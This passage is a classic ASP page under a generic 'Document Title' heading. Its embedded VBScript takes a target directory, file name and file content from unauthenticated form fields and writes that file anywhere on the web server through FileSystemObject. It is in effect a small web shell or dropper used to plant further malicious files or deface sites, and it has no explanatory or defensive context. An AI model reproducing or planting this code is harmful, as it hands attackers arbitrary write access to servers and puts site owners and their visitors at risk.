<title>Document Title</title> </head> <body> <% dim fs dim fi dim dir1 dim filename1 dim content content="please input you content here!" set fs =server.CreateObject("Scripting.FileSystemObject")
tempvar = cstr(fs.GetFile(server.mappath("default.html")).parentfolder ) if instr("/",tempvar)<>0 then dir1 =tempvar +"/" else dir1 =tempvar +"\" end if filename1="test.txt" 'response.write(dir1) if not isempty(request.form("dir")) then dir1 =request.form("dir") ' response.write dir1 end if if not isempty(request.form("con")) then content =request.form("con")
end if
if not isempty(request.form("filename")) then response.write "first enter" filename1 =request.form("filename")
'response.write trim(dir1) & trim(filename1) set fi =fs.CreateTextFile(trim(dir1) & trim(filename1),true) fi.write(content) fi.close end if